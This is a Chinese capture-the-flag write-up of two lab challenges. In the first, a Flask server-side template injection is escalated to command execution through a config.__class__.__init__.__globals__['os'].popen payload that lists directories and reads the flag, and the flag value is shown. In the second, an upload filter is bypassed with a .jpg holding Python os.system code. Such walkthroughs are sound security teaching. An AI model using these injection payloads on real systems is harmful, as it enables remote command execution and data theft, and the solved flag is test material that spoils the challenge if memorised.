题目名称:Simple_SSTI_2
题目wirteup:
启动题目场景,获得靶场网站,访问网站,页面显示url连接需要连接一个 flag参数
http://114.67.246.176:19131/
根据题目内容,该题是一个ssti漏洞,这里构造ssti,参数构造flag={{3+2}},报错,且是flask
http://114.67.246.176:19131/?flag={{3+2}}
又尝试构造flag={{3*2}},发现页面显示6.证明系统存在ssti漏洞
通过config变量查看flask的配置信息,并没有可利用点
http://114.67.246.176:19131/?flag={{config}}
通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件,这里读取网站系统目录,发现存在一些文件夹,一个个进入查看,发现第一个看的app文件夹里就有flag
##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
##__init__ 初始化类,返回的类型是function
##__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
##os.popen() 方法用于从一个命令打开一个管道。
##open() 方法用于打开一个文件,并返回文件对象
http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}读取app目录下的文件,发现存在flag文件
http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app%27).read()%20}}
通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}读取flag内容
http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
最终得到flag:
flag{fcf301ac393f2215b3664d749c2d875e}
题目名称:Flask_FileUpload
题目witeup:
http://114.67.246.176:12896/
对文件上传页面进行源码查看,发现只允许上传jpg和png文件名格式,且让我们上传文件,文件内容会被python执行
view-source:http://114.67.246.176:12896/
system函数可以将字符串转化成命令在服务器上运行;其原理是每一条system函数执行时,其会创建一个子进程在系统上执行命令行,
子进程的执行结果无法影响主进程;os.system方法是os模块最基础的方法,其它的方法一般在该方法基础上封装完成。
这里使用python的os包中的system函数读取flag
这里上传一个test.jpg,其内容是读取网站根目录
import os
os.system('ls /')
上传成功,并查看源代码,发现存在系统网站的根目录,并且也发现根目录中包含flag文件